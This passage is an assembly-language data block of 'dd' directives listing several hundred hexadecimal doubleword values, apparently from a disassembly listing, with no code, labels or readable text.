		dd 7075A1DCh, 0CBD46B3Fh, 0AFCCCE58h, 0E031C48Fh, 54230DBCh
		dd 505CC144h, 3449737Ch, 83524230h, 0CA852AFCh,	94C6C29Dh
		dd 0A7836680h, 0EB6F978Ah, 7D0CEB8Ch, 9BD0096Ch, 0BE65B58Bh
		dd 0ECF81A16h, 167AFE29h, 13EC196Bh, 0C8EFF37Bh, 67F3B03Bh
		dd 0CECBFDADh, 33585D0Ah, 0FDC656Dh, 66A378A2h,	14AF7E7Ch
		dd 0C03F7509h, 76908B90h, 0E90E11D1h, 0D5982DB3h, 5D8430B7h
		dd 0CFC35FEBh, 74384799h, 44386DF4h, 75A66C8Bh,	67F8598Bh
		dd 47E49C9Ch, 0FAC81331h, 0A510EA11h, 4B50C894h, 0D4C599E8h
		dd 2F50F979h, 0E3826ECDh, 52967C64h, 0B85C966Ch, 56049B0Ah
		dd 4BFC89CDh, 0C3780BDCh, 0C3D43EF9h, 5E19F205h, 3DB89D6Eh
		dd 54D5B643h, 5BD6C87Bh, 784C01B1h, 0FC8EA12Ah,	0AA3A1F62h
		dd 7A2EC345h, 0CE286445h, 7C20C639h, 93E1DD2Bh,	648B6AD8h
		dd 0DACC22E7h, 8936F88Ch, 95C66221h, 4DC9C921h,	0E0B2EF6Dh
		dd 951348C2h, 7C4DED29h, 53CD6F7h, 0B082D09Dh, 3CE04C6Dh
		dd 0F572E056h, 0D0244C3Dh, 7A4EFCD1h, 6EAF9EEBh, 0B853A3D8h
		dd 285F46A4h, 74DB8AB2h, 880E7B90h, 171A3DF8h, 3E1AF6E9h
		dd 20D8282Fh, 0F6E06E1Fh, 7585D6D7h, 67B0DF30h,	5A7B4298h
		dd 0FF866783h, 69D07137h, 9F7634A7h, 81A6473Ah,	0E2D0D209h
		dd 541AFE3Eh, 7DD61D6Ah, 0BEBA7089h, 0C76F7747h, 1CAD3BCBh
		dd 38558E7Eh, 8DC227BDh, 0EA4DFD82h, 1D177898h,	2D535D56h
		dd 266CED90h, 0E3CFC797h, 0F5847235h, 0DEA4016Dh, 0E7EA700Ch
		dd 0CB72AC06h, 6B7ECEF0h, 0DC1C9ABh, 647300F1h,	4C6C5EDh
		dd 0F33E3DA1h, 9644AFB7h, 2E3D8EF3h, 72D0AE0Bh,	426A1183h
		dd 0A6BCDF3Eh, 3C889E91h, 0C9C7817Dh, 710E677Bh, 70172CEEh
		dd 79D217F0h, 547753B0h, 9E887486h, 0D0F43C25h,	8462AA8h
		dd 72236D21h, 0D6C629BDh, 0CDCB1788h, 0A0EB21F7h, 6AC6F985h
		dd 64227A24h, 4AB36F51h, 61C50699h, 0C35B8C6Fh,	88975130h
		dd 0F35D2EC6h, 0B9EA0D92h, 6FF91689h, 62C6E0D6h, 25C3F5A1h
		dd 0E99BEA1Bh, 167F28A9h, 0C3E6A66h, 512D82D9h,	0D1FC4329h
		dd 0B6AED683h, 0C26753DBh, 0D91602D2h, 0F9577C5Ch, 0FF9637B8h
		dd 7D15A63Ah, 44F9BD3Bh, 4018AF00h, 72CE5383h, 13C1AE77h
		dd 0EEE99711h, 0D613E214h, 0D667C41Bh, 0C299B92Bh, 91880C04h
		dd 35C08527h, 0D9F88671h, 67D1BBB6h, 0AE1EDEC1h, 69A60B86h
		dd 820A1716h, 6D7676FAh, 52F5AEDh, 14F1CDCCh, 46D65559h
		dd 741B94B9h, 889701BDh, 0EB992A84h, 5A581476h,	9D28739Dh
		dd 9FC2EB75h, 0FA4E0078h, 9C5D0720h, 900A60B0h,	0FFD22B06h
		dd 5D0AAA50h, 5AF22EECh, 3811AAEFh, 1C3276A5h, 34815750h
		dd 640758D0h, 7D492BF1h, 0FA6B2BCCh, 493BF223h,	0A1440011h
		dd 0E52F6CAAh, 57ED1279h
		dd 49CD767Ah, 0BA68BE4Dh, 98F4B605h, 5DCFACDAh,	0A3959122h
		dd 0BAB1CD19h, 8F801324h, 3B036570h, 43F5352Ah,	223F9C40h
		dd 0EB1A7182h, 0F7C4F807h, 6F6DD3F5h, 6FF884D2h, 7150AE40h
		dd 0AFC692A5h, 0C7B6B934h, 248F7212h, 0A315AA0Ah, 790E7C53h
		dd 6CE9D463h, 1C39F52h,	594FE350h, 0D2763382h, 334E4839h
		dd 15085288h, 0D272FD1Bh, 60D177CBh, 0E77CA9E9h, 0AE8142FFh
		dd 2D482808h, 38ACDC37h, 0E4D16759h, 37BA812Bh,	0B986E69Fh
		dd 0BB8EB6B7h, 0DFD0F2DFh, 0E2D9634Ah, 1792562Bh, 3503D9Eh
		dd 8835BE5Bh, 85AA1253h, 0C843AB75h, 0BFA0F814h, 0E8B1139h
		dd 0C669FC96h, 4A0E68A4h, 2BF0CA3Eh, 853E15C8h,	0B43E45FEh
		dd 0FCA919ECh, 0D47C15A0h, 0E3EBCCA5h, 9C8170E7h, 2860AF64h
		dd 0EB8A9B3h, 6A55A6EAh, 195F05C1h, 92CACB40h, 91EC5C99h
		dd 41F5CBA3h, 7AD41E5Bh, 68C29C9h, 0E0EBF578h, 0EB6B0ECh
		dd 0B855B3E4h, 0F40CC9Bh, 0E10912E3h, 0DD0B77BCh, 7C9F74A2h
		dd 0B36111BCh, 0DD726DBDh, 0D6221FEBh, 31C782B9h, 3E569B8h
		dd 3E73E8A0h, 8E21A92Bh, 27329E75h, 90F1EDF7h, 0B6C3404Bh
		dd 58C00EB2h, 0D4DA5929h, 32D29F5Bh, 33625C05h,	45B0D478h
		dd 79FD626Fh, 17AD4C7h,	0D968330Fh, 0FD15F92h, 6132961Fh
		dd 56CBAEBFh, 1B292E83h, 0D3BFC602h, 0F8900E27h, 97F1AB25h
		dd 2B435EF6h, 0A6CBBD4Eh, 880C2290h, 68469E4Ch,	0AC342FDCh
		dd 0C1E2DAB6h, 7705E11h, 1C1407A7h, 79F35AEDh, 884C7EAFh
		dd 6D23F9A9h, 0CD85465Ch, 34BC9060h, 6DCCE23Fh,	9C94816Ah
		dd 13246143h, 0CA501C07h, 79CF2212h, 8E5F49DBh,	85A58A44h
		dd 2CE90879h, 0BA2330B1h, 0D5165EAAh, 5BE675F6h, 0C8825A51h
		dd 5F4D9D61h, 0C0563F54h, 6FE5CFDEh, 70E6F53Fh,	4A31ACA3h
		dd 12BEB276h, 0E1AADC13h, 67E9F153h, 812FAE11h,	70A817FFh
		dd 0FF4D14E1h, 7DDB85F3h, 0E9F4928Dh, 9959D1D5h, 0ADF95985h
		dd 350617BFh, 4DB566B9h, 0BBC7B178h, 0B80FBD2Dh, 35ED8D61h
		dd 0BEC628F8h, 0AED80C49h, 63628B4Ah, 568B8580h, 0E48320AEh
		dd 27BC9B9Fh, 6A37C392h, 8894C634h, 0E2E499D7h,	70B0B18h
		dd 0A747F577h, 609BA18Ah, 20FD7C18h, 72436119h,	90FE1234h
		dd 59895095h, 96A8565Bh, 76BEFC1Fh, 4540FE92h, 2559B42Fh
		dd 35BED128h, 2BCB25D8h, 0E4896920h, 98F743F8h,	0AD74FA26h
		dd 0FE343FE2h, 218FDEB9h, 332485F6h, 76A2B357h,	53BE5381h
		dd 59A02CABh, 2648C824h, 9F4FE9B5h, 21E8527Dh, 15E4E51Ah
		dd 0CE87EEEEh, 61B98F6Dh, 4F461ACFh, 50C81AB8h,	477628Ah
		dd 2F7B248Fh, 0A1CCB690h, 9168412Bh, 85F164EAh,	0C957713Bh
		dd 0FB9E7949h, 304121B0h, 1D21E3E6h, 0B512B738h, 898BDB4Ch
		dd 0B7E9843Ch, 0D088B5A6h, 5D5705BAh, 9E1334B6h, 31BA1638h
		dd 49DD499h, 62035FA5h,	8C75EF5Fh, 0A4157EFAh, 6449223Bh
		dd 0EEB5BE47h, 0E75D4F73h, 33B37E34h, 0FEE67F60h, 6536A1C7h
		dd 8CEA60AAh, 43141335h, 19D1E54Bh, 6FB28A6Ch, 8148432h
		dd 0A43A8515h, 0F9AEC631h, 0CE1EA411h, 9D3C4B2Ch, 59B09CDh
		dd 6C1AB8EBh, 0C18C8590h, 0E649FDD2h, 9CD95241h, 20E2AD94h
		dd 0ABEA7D70h, 0CD73C8CCh, 0D337F6C1h, 9F27403Eh, 924A6998h
		dd 4E272331h, 0B0083FDBh, 0E3C89E74h, 4CE64FD4h, 0C79721DCh
		dd 11B2CEB6h, 0F9193E91h, 0CF5A5A47h, 9C5580E0h, 5D615810h
		dd 54C313FCh, 0FF25370Ch, 4D1EBA16h, 570D0541h,	83E84605h
		dd 8401AF9Ch, 6E5AACA4h, 0CFFF625h, 0D554AB06h,	0B4BD900Ah
		dd 0D4F94DEh, 4C8CC6A9h, 479E9F87h, 9377ED63h, 0A50DC595h
		dd 29DA0921h, 375F6A6Dh, 0F54BA20Fh, 4F7C413h, 0BEF74B79h
		dd 1892235h, 975B2BCCh,	0D58D3CE7h, 0F7286FDh, 0F7157516h
		dd 1AFCB39Ch, 0BD000ECEh, 1D868DACh, 97B4DA33h,	0FDC02772h
		dd 2CFB2C46h, 3A4E852h,	1BB6DAF7h, 0CDF227F5h, 0D42F0E78h
		dd 1B608E18h, 0BA20997h, 3787BBC6h, 0BF1125EDh,	2B3FF795h
		dd 725DC451h, 31B79732h, 104D43h, 13011297h, 1BCB8E57h
		dd 1E7DC02Ch, 0EC49D618h, 0F7A627FEh, 0EC24C5C8h, 1C1831E3h
		dd 0A880A6FBh, 2F65DD69h, 0E318D2C1h, 0ED171E1h, 0B1333DB8h
		dd 39E5FA96h, 2BB0CE4Bh, 6B19916Eh, 8CC23A9Fh, 0EE3C65E3h
		dd 0BE52B5D8h, 0C1E0CF5h, 69378BD2h, 798F1458h,	11C56004h
		dd 0FD0FFE81h, 0D437835h, 0FD058ADBh, 896E8A63h, 0A8B544C2h
		dd 0A07F1F59h, 35B48B94h, 89F9523Fh, 0C2F15A37h, 55544246h
		dd 0A80A8F9Ch, 5B2E211Fh, 2A3E789h, 0CFEE710Fh,	5BA84569h
		dd 1DD24999h, 2DC01CD1h, 0C973A1CEh, 1BBE7BB9h,	6B7380Fh
		dd 2D0B3999h, 420AA792h, 0B71A0963h, 0CA0C22B9h, 3D33A745h
		dd 1BB7BC67h, 0A4974B6h, 7E3B87CBh, 471BE8ADh, 852077E3h
		dd 11DF64Dh, 0C10EF80Ch, 164EEE33h, 4E474952h, 0D593DBDAh
		dd 0DC9407ECh, 0C2A1AD02h, 8A26333Dh, 0BFDC0484h, 9213CE00h
		dd 0EF1ECF14h, 0ABDFB073h, 844D9E47h, 2E225E0h,	200EEA8h
		dd 7EF55089h, 31C50CE4h, 9FA17EA4h, 3796C2C7h, 2C115ACAh
		dd 0CEAD160h, 204B4624h, 93457F97h, 67F68B4Bh, 0EF29E082h
		dd 0A6F013FDh, 0FDAD6FE1h, 8AF9F342h, 2769405h,	0D1619458h
		dd 34DA2552h, 542638E0h, 5503E7C9h, 6FB9A0E4h, 0CD13E9F2h
		dd 2D12CB73h, 2AC51FFBh, 78771886h, 6768CF57h, 5F2318Dh
		dd 667FFF6h, 0A56C5F13h, 90A7AC9Ah, 31BCE225h, 675FC713h
		dd 612BC71h, 0AD377DACh, 0ECF56A6Fh, 161344CCh,	8E14735Fh
		dd 0EE965A95h, 73EFDD64h, 46D8F74Ah, 0F6724A49h, 0FC94BE13h
		dd 782AF386h, 4E8967C2h, 0AA660523h, 0B8134D46h, 0AD652883h
		dd 0DFAB0E78h, 0AF7D49C3h, 79EDC956h, 0B2C911E3h, 9C71DDDEh
		dd 0C811C4A7h, 145F2EB9h, 3870239Fh, 0FBFB6340h, 0E2AEB0B5h
		dd 0E30C341Eh, 63832080h, 0F451435Bh, 0E2128B70h, 389156F7h
		dd 55B573EAh, 3402BD40h, 6A30E776h, 627D6077h, 68FB1434h
		dd 0A23D6B7Eh, 0EECD0EE1h, 0C6D4529Eh, 39156D20h, 64EF907Dh
		dd 91234390h, 53A47905h, 0FD0F1323h, 0C81A61DEh, 1FECF944h
		dd 2517FC08h, 902945DDh, 77830267h, 975393C3h, 0D7ED8558h
		dd 13DF2EB7h, 8175407h,	0C01A5772h, 0D47FF683h,	304714AAh
		dd 0F54CB556h, 89E64C41h, 69CA32B9h, 0E1234A02h, 53849365h
		dd 55A22915h, 0AC03956Ch, 0B9DB0D58h, 9D44E91Bh, 2A78AEFCh
		dd 0EDCEF129h, 0A83AF2DDh, 52EDFFBBh, 0C100591Bh, 3BC4C071h
		dd 0A266CF21h, 2E350435h, 0FDDCAEDh, 0DDA521FDh, 97B8B562h
		dd 0D52558EBh, 7D4E62B1h, 30D5A6CCh, 0AD7A9259h, 80CB2670h
		dd 0A4177DF3h, 0AF3605Ch, 0F8EEFA3Fh, 0FAB14E2Ah, 30A7E0DDh
		dd 6414736Dh, 0F2A3EA8Eh, 0D5612ADAh, 0C3D1C11Bh, 0CE0702BDh
		dd 14648C6Ah, 9A1352F7h, 0E5E48BF6h, 5752E586h,	34EF9314h
		dd 1ACBE71Dh, 0EE68DEEDh, 121428C2h, 4EAE961Bh,	0D199E860h
		dd 3A742F51h, 0D4469A9h, 74858D2Ch, 0A4079139h,	0D31D284Dh
		dd 3820CCDAh, 3A397C6Eh, 6045990Eh, 32FA0FCBh, 92F35C58h
		dd 90B469BCh, 7C318C52h, 0E26BFD48h, 95399952h,	72D73CDh
		dd 92BA4162h, 0DD615E12h, 0CBEDC8B9h, 0FEFBA9CFh, 3BFDE4AFh
		dd 622C1E58h, 8F2A3A2Eh, 6177ACD0h, 6763D157h, 0D82F776Eh
		dd 3E9675D7h, 40FDB88Eh, 2AA1997Fh, 1F3F0B3Fh, 18086284h
		dd 323B15FDh, 0C5972CBDh, 0E054365Ah, 62AC6643h, 7501AAE6h
		dd 97739DFAh, 0C2FAB99Bh
		dd 0AC1E1988h, 6F0BEF99h, 3F5E8A61h, 0C2681F39h, 0BC5776D0h
		dd 0B2313FF9h, 6ED9E1E4h, 7E734CFh, 5DEA36DCh, 0A6163E0Eh
		dd 0F0DAC615h, 488B9444h, 150D899Dh, 0F07ED854h, 34A7EB88h
		dd 0FC5AF0FAh, 0DC1E826Bh, 0A895E4C6h, 0DD0F27D8h, 95ED2A12h
		dd 0DBEB5D9Fh, 0C774FC94h, 0C7EF3415h, 586AF80h, 0B91853B2h
		dd 42EFE5C3h, 17003CC6h, 0ED07D397h, 6562E182h,	398C32A8h
		dd 1EEEBA50h, 47E8C48Ah, 1FF21CA2h, 2B0A19C3h, 0FBD73E83h
		dd 348C933h, 0C1844CC3h, 2E54C631h, 1CA906CEh, 48098923h
		dd 0C26EF1A7h, 0C88FCA31h, 0B16E3378h, 0A80C23EDh, 90E7BFF5h
		dd 84ADC0D1h, 936F13B6h, 0C294EA11h, 721BF8A9h,	0C6CF6D57h
		dd 48B5F5FCh, 683D8EC4h, 0ADCF7A31h, 393EE7A2h,	42820DB6h
		dd 36110035h, 0A05C4Ah,	0B21373D8h, 22445F6Eh, 0A0927144h
		dd 3B5F704Dh, 7BA2C84Fh, 7818D066h, 0B70CA42Eh,	83125153h
		dd 0B8BD9C3h, 7288476Dh, 0F39BD605h, 0D16BA5BDh, 0EABAC106h
		dd 130C334Ch, 4C39630Bh, 0FDBAB1A6h, 3B16CF58h,	1E5A5A37h
		dd 73F163F3h, 0AC221A30h, 272D7152h, 942AF130h,	55A98748h
		dd 6E947332h, 184258B0h, 23F403Eh, 18D234DBh, 9AF8529Eh
		dd 0D9DD7D12h, 76D44BA7h, 0A84DD16Fh, 29ACCC4Ch, 390FE18Bh
		dd 5BD5F180h, 97200CF7h, 0B70ABB78h, 712F1640h,	47C3027h
		dd 0EBFA90E5h, 0AD849EF7h, 0A00321A0h, 72A0E422h, 2DB9F0AAh
		dd 9AC6ABBCh, 2C2DCE51h, 9EB22F7Bh, 703CE0C6h, 639A97D0h
		dd 0FFBCA7BFh, 0F3624A02h, 4939135Dh, 6217D65Eh, 228CEFA2h
		dd 3E5E7E28h, 30AE7841h, 0A89A967Dh, 5BAED6CEh,	0B091EA90h
		dd 44EB4118h, 0BCB2A82Fh, 12AD5DF4h, 10E817B6h,	3BBB316Eh
		dd 8A141329h, 80753342h, 0B0F3AD7Fh, 0FBE19687h, 1B31FC4Ah
		dd 48CFC653h, 244BCB10h, 1B6ED90Eh, 59045908h, 0F76753AEh
		dd 2E7B696Dh, 6E256343h, 0C225A6E7h, 2EBC2B24h,	91823BBh
		dd 0CD62513Dh, 1205C1A8h, 0D296BDFh, 12BA4D4Bh,	19C5A9BFh
		dd 0E68E6B0h, 91FFD92Ah, 12A613FEh, 0C9B49E8Eh,	48EB221Dh
		dd 1B421E87h, 54E7305Ch, 66E85858h, 0BBBD7316h,	0ACEF0EC7h
		dd 0E344CF8Bh, 74F2AFDAh, 0A33A919Eh, 97CABFBh,	0A3B9C1A3h
		dd 9A08C6Fh, 0BAE38F3Dh, 22B9E464h, 0C7D81080h,	60E2AC92h
		dd 0B096FBDBh, 19FBD794h, 0CFFB2120h, 0F55DF100h, 854590BAh
		dd 421A3B7Eh, 3999E641h, 7ED4172Ch, 1BCCC4B1h, 8E653BFCh
		dd 21DB0F6Ah, 6CC75EAFh, 0B3303C12h, 33FB4BF0h,	91C08DB8h
		dd 77894498h, 5E6AA64Eh, 77572DFh, 0E53F1A52h, 13EA80B0h
		dd 2297B563h, 64F18775h, 0AF05979Dh, 0FED5DE06h, 0A0CD92E5h
		dd 2DDEDB1Bh, 0ADAA1901h, 91193D3Bh, 90665A1Eh,	0B1BC521Eh
		dd 61886723h, 7EA4FFE0h, 23BCCCF0h, 0F1A933EBh,	49A55810h
		dd 1E7C43E5h, 991AF79Bh, 0EE715386h, 0F2FC172Fh, 6CE4AB70h
		dd 0BC639F54h, 8BD2237h, 0D51D8819h, 7EB2DE7Dh,	0A979CB68h
		dd 8A221129h, 9176264Bh, 0EA2F4B2Ah, 9F398AD5h,	24F4012h
		dd 5E7C288Eh, 0A62799AAh, 0CB6E2B47h, 0EA37E4EDh, 0AF27602Ch
		dd 716C68D8h, 0F3F1D636h, 4E4117A8h, 0C613269Fh, 4DF9DA1Bh
		dd 57F4F88Ch, 52EB6A2Ah, 45184511h, 5349C57Bh, 2F95A0Dh
		dd 0B5913DFh, 0B79DCFBFh, 426F88E2h, 0DFD82F13h, 696D08F9h
		dd 353AD405h, 429A3E57h, 325CFE3Ch, 0C278C009h,	0D4FCA439h
		dd 653608CAh, 0D10425A9h, 666FD1AFh, 93A37E58h,	0BC211EF0h
		dd 2CEB45C8h, 0C15EF761h, 75B06DDBh, 165159A3h,	10871749h
		dd 7A72397Eh, 0A8CE88F4h, 0D3639162h, 0D9492FF7h, 993B5E95h
		dd 378662Ch, 3E6A364Bh,	6E749ED5h, 2C53F50Dh, 0ED85BCAh
		dd 0F91F61A7h, 0C9BF0BF7h, 78BC260Eh, 0DD202612h, 0A953875Ah
		dd 0CEE7C0E8h, 3EA2D7E8h, 292BF483h, 25B5883Eh,	535E1DF3h
		dd 365DCDC0h, 9444FAFh,	261CA938h, 0D50100B7h, 44DBFC51h
		dd 0C2F52673h, 0D8873156h, 1900BA0Dh, 0EED599BDh, 14BF259Dh
		dd 0BB1558C7h, 0A6411A91h, 31EFE596h, 872CC431h, 6A1B372Fh
		dd 0CC781530h, 0B0A86D50h, 45F95C09h, 0FDF3B049h, 46531989h
		dd 7227B122h, 0F1C156D0h, 1BD93FD0h, 0DAE4BC06h, 499466CFh
		dd 805C78FAh, 6EB80723h, 256F9B1Fh, 59A5825Ch, 2D01491Fh
		dd 23734A5Ch, 9D215DCEh, 0BF3A4BD0h, 83DE1238h,	2EE5214Ch
		dd 2F0E1025h, 0FADCA0AEh, 40E87A6Fh, 0F72D69F1h, 1638BBE6h
		dd 5D27A8h, 5DC4BB2Ch, 53610BA6h, 0DC60DA8Fh, 0B83C53B8h
		dd 9E15C818h, 267BFD65h, 6119496Bh, 0BFA42D92h,	12581212h
		dd 8D20A48Eh, 3B84C001h, 30C6C0D5h, 0F51B9FF7h,	559BCF08h
		dd 4657CBBCh, 89D28AADh, 6395FF2Ah, 7AEAB8B3h, 0ACFA99FEh
		dd 0D0FB87CBh, 73FE32FFh, 2CD6D7D8h, 2C99D063h,	9B497D22h
		dd 4BE60BCAh, 306B04D9h, 53A00625h, 54A0A1E1h, 7C6A6EB8h
		dd 0CC4D0EB1h, 3CADEB31h, 4C487388h, 0DDAB8A5Bh, 9DCA9A45h
		dd 0C2B9E615h, 0D521DF78h, 7C9D4143h, 71957038h, 3868AF8Ch
		dd 0C197497Dh, 0B8718940h, 4DDD83ADh, 0A591A2BBh, 8822B417h
		dd 6F769106h, 0FD433A1Dh, 22C48D74h, 50A6DFB6h,	0E7EF5E03h
		dd 0C42405B5h, 0C5D05448h, 730FB6Fh, 0AB4B2CE4h, 0C816A622h
		dd 9C2DE74Eh, 0A49DF46Ch, 2908A33Fh, 3AC05E6h, 68459003h
		dd 9F00CA99h, 430575F9h, 2EDEF72Ah, 0BDEE2CB6h,	6E6254A9h
		dd 8AAAE037h, 0CB7418F4h, 0C5ED1B14h, 34029B92h, 0F24E8AC6h
		dd 0AA0FA78Ah, 965E128Dh, 0D3BC7CDh, 0C7180F4Bh, 4047C3F0h
		dd 0C861861Fh, 91922B41h, 30BC6025h, 5A92BF35h,	0C5334709h
		dd 0AE69276Ch, 0A0CABFC1h, 0F92B129Bh, 8711FE96h, 227D2919h
		dd 0CE2236h, 4408712Bh,	0BA0028A7h, 0DE136A0Bh,	323281E1h
		dd 42F0576Dh, 77A293ABh, 30B89D76h, 214A2AE2h, 11B3FEF1h
		dd 0E292439Dh, 5B55A474h, 1D4882DAh, 9463081h, 0C4F3693Ah
		dd 5FFEDC98h, 0B35429E9h, 0CCB6F2BEh, 57DAE576h, 0E7DB99F0h
		dd 9346C6E7h, 0AE1E82B7h, 0CFD5FAF4h, 0C4F3EE6Ch, 469A6FBAh
		dd 0FBE72A7Dh, 894EF770h, 0D8FC6885h, 0B7C4C33Eh, 42EB4277h
		dd 929F1078h, 46316C8Dh, 0D4D31D6Fh, 7482F2D0h,	8085BDC5h
		dd 7DB0C32Ch, 8E67A578h, 0A8DC065h, 2E3CCF57h, 5A2EA097h
		dd 3BC2A82Ah, 1A31F37Bh, 0A89900E3h, 5DB638FBh,	5098670Bh
		dd 6581F498h, 92F0136Eh, 35007177h, 66077E8Ch, 1BED969h
		dd 50C40815h, 556E0CD9h, 62FC2223h, 0FDAB4D6Ah,	698999CAh
		dd 0E9467530h, 906E87Dh, 82795D7Fh, 524459A5h, 56DADCB2h
		dd 941B3BD3h, 0CF0EA2F5h, 1628A3FCh, 35DFCADFh,	0AA88040Eh
		dd 491AE14Ch, 16394C6Fh, 0E5635DAEh, 0EFD4EC7Bh, 53AE005Bh
		dd 87276D46h, 0E6DD4F01h, 0F6B0A72Dh, 0ADB1976Bh, 5F149946h
		dd 0F856546Ch, 0CA718E32h, 58DF7DAAh, 749B854Ah, 0BBABB47Eh
		dd 14591F6Bh, 0DE082725h, 868B9B5Bh, 940991DEh,	0F39D4EB2h
		dd 5D108D4Bh, 9D622589h, 0A05BAA8Ah, 0EFFC8CA0h, 0C26B3F03h
		dd 8CDD089Bh, 0C544B8EBh, 0F050653Ch, 3CAD7A00h, 0A16A9FF5h
		dd 0E9D5F0D1h, 2D28C60Bh, 0AF9094B8h, 0E31B457Eh, 402FC37Ah
		dd 82603059h, 0CBACF977h, 78061FD1h, 1A4AF603h,	0E78C8C29h
		dd 0E8DCA882h, 79A675DFh, 0C5195978h, 0B3AA657Ah, 0EC9C228Bh
		dd 556F56D2h, 3978F6F3h, 47E5F144h, 29B1C910h, 0B4AD99B0h
		dd 40307D01h, 87302C5Fh, 57D3385Bh, 0CBD61761h,	958805h
		dd 0C807E970h, 3E6E82AAh
		dd 0FE43B5EEh, 0C6A562B0h, 0C2A9F541h, 6ED239E8h, 24F0EDF6h
		dd 66B19D08h, 85359286h, 0D79432B3h, 7712DADh, 0F51001EFh
		dd 0EB7D5901h, 0DCBEBD1Ch, 681BA9B9h, 61DCFD23h, 0ED2669FCh
		dd 0ED942A6Bh, 7856D1EBh, 0FFA035E8h, 75BF1A2Dh, 0BCC833AFh
		dd 60F555D7h, 838BF5C6h, 0B79426FFh, 0E3FC923h,	278C8085h
		dd 0B1EF912Dh, 7B0BD17Eh, 7DCD81D3h, 0CE7DDFBEh, 770006A9h
		dd 0EFBA11AAh, 6B405AA5h, 99083CE0h, 6F3C30F3h,	7103805Fh
		dd 0A8EEA0F3h, 7CECB7B0h, 89C6D9F7h, 0BA4C47D9h, 0A5979B15h
		dd 1B9466B3h, 6B34B59Bh, 70AA049Dh, 8F9AD7A1h, 0C9CC1607h
		dd 0E4EF868Bh, 4C04E9F6h, 0C1E3B4F0h, 68F4A289h, 0CE31BEB2h
		dd 0D8D3EFE0h, 58B30692h, 0B74CFD9Fh, 51326BADh, 9E9C9C73h
		dd 9562AC03h, 0B7FF57B7h, 0E39DB5E0h, 6265EF43h, 94585E03h
		dd 0B5DA4B06h, 2C001D90h, 7C9F7F6Bh, 0C08BEB5Ch, 0F782B8F2h
		dd 524E99Dh, 493F6D9Ah,	8DF4DE34h, 1F21F4FEh, 0E99FF0DFh
		dd 8EDF100Fh, 281AACCBh, 0D382B2Fh, 1BD064F9h, 6FE9098Eh
		dd 518736C0h, 875C30C7h, 77D4AC55h, 0C4EE20C5h,	5C0A0AA7h
		dd 1B275548h, 46D0C10Ah, 78150C2Bh, 13B26E7Ah, 812BE04Ah
		dd 0EA5EFD90h, 0FF602CAh, 67230C48h, 8BCA55Dh, 5E8A00D8h
		dd 0CFDC7C87h, 2B781868h, 22C50F42h, 0BCC85022h, 17E42673h
		dd 53DD10D3h, 9AC0CCFBh, 8C863AE6h, 585C8AABh, 1B0C9320h
		dd 0FC064B91h, 0BF7729Eh, 0A355E66Fh, 0C5928B54h, 898BE8BBh
		dd 0F6C9EF11h, 986ECAF2h, 4D639732h, 0FAD9EEF7h, 5929F627h
		dd 0F7123Ah, 0EE4F5969h, 0B88F1511h, 38E743C0h,	0F144BB49h
		dd 0A5BECBFFh, 0FE20BD5Bh, 559B577Fh, 0AAEC989h, 0AE905003h
		dd 80A36E9Eh, 0A78FCCE2h, 0A7482985h, 768F7D90h, 0AEB6260h
		dd 5542B037h, 87140411h, 7ED419FCh, 571C6E00h, 167C909h
		dd 0CDC7A084h, 4CFE2845h, 0AF693639h, 0A42C6D07h, 0EC434174h
		dd 3F4F93C5h, 2EA10BE7h, 0AE54DD5h, 4AB29036h, 0B335379Fh
		dd 0D30209F8h, 8B269479h, 729C85F9h, 0E7339EE8h, 9DBB88BDh
		dd 79382C12h, 56A4C2DEh, 6F7A68C6h, 625F9E9Eh, 8027A642h
		dd 5A61A7C0h, 93A6FA3Eh, 814FFE16h, 0CFE654D1h,	0AC0455D4h
		dd 0FD4840F3h, 606417BEh, 0BD659E24h, 0EE4DCF3h, 0F5512AE9h
		dd 0D52AA871h, 0D8662C33h, 79ABDF9Ch, 0B334734Ah, 0DDCA521Eh
		dd 133EDA88h, 1DDFA0FFh, 70B447BEh, 3250F31Bh, 89F8D4A9h
		dd 0E5FF3891h, 0EE977F4Dh, 68C68FBEh, 2A1E8F93h, 13C50D5Bh
		dd 0A07E6D3Ch, 8FA4F6CBh, 98FE3508h, 0D1A40805h, 0AE2AD4B8h
		dd 394B16E2h, 5A3D5A6Dh, 7FAE5BE6h, 10816A8Fh, 4825A351h
		dd 924E9701h, 416C8580h, 818424EFh, 0BC62FD35h,	8B210F89h
		dd 2A5207F4h, 6DAACF49h, 220A246Bh, 0CDD45EB7h,	8DBD8252h
		dd 5F2AEF58h, 83DE0102h, 3BF0523Eh, 0AAEB6A54h,	374EEB66h
		dd 2B0A67C8h, 8DF19CC3h, 4B0A3BEBh, 0ABF30F09h,	885BFC3Ah
		dd 9A860D1Eh, 0DE16613Eh, 976C6108h, 42823C41h,	0DCFEFAFDh
		dd 8E914FCBh, 17F21C18h, 4774C2FEh, 0F798ED2Fh,	0FF10CEE3h
		dd 0EF24A4E3h, 383F18ACh, 0B64A0FC1h, 6828A4BAh, 455EAF55h
		dd 1DB03AC2h, 34E2903Fh, 0D01CB691h, 1DA99EBAh,	32D16860h
		dd 0E0747EB3h, 84D8062Ah, 0F59C132Eh, 0EC1C8C97h, 8F93AC76h
		dd 8F31E494h, 0B477FB52h, 4A0D803h, 0B54774DFh,	0E2CA5B7Bh
		dd 6082D120h, 0B999FD3Eh, 0B0A241B2h, 0FB857698h, 951B1615h
		dd 0AFC45054h, 2FDA8230h, 345F46A2h, 1FE0772Ah,	305C58A1h
		dd 0CB5CD0E3h, 7E9CD800h, 50B15D87h, 0AC493D26h, 0C3ED4E92h
		dd 9B46F6B7h, 20769F7Eh, 9125F6EBh, 0DEA964D2h,	987EF38Ah
		dd 4E75235Bh, 31D13110h, 0BA77BCFEh, 9086FA37h,	7321176Dh
		dd 6E1B71ABh, 9EC94B68h, 0C94DBD75h, 4D21AB2Ch,	797173EEh
		dd 51DD1199h, 0AF48E0CBh, 395E6811h, 3E4B65F1h,	637AD493h
		dd 0DE6AFD1h, 0D8E2DE29h, 55196DDAh, 37E505DEh,	23309091h
		dd 0FC72C674h, 795BBD5Ch, 4125A5E6h, 0E3623D4Bh, 7BF00FCDh
		dd 46D093F1h, 666DB565h, 9094941Eh, 97B6BEE7h, 8FF0A7E9h
		dd 49D62FD1h, 586DCD93h, 9AE77C48h, 0CE4EDEB2h,	0CFD850B5h
		dd 3F758E16h, 5A9D62BFh, 1DE6B12h, 0EFBA2177h, 0B523BE54h
		dd 0BBB13C42h, 0BAE5C798h, 0DEE7A6C2h, 0C422CC72h, 29B21CB6h
		dd 26A50845h, 79968FFEh, 368BE680h, 0A3EA598Ch,	0A1AF9E9Fh
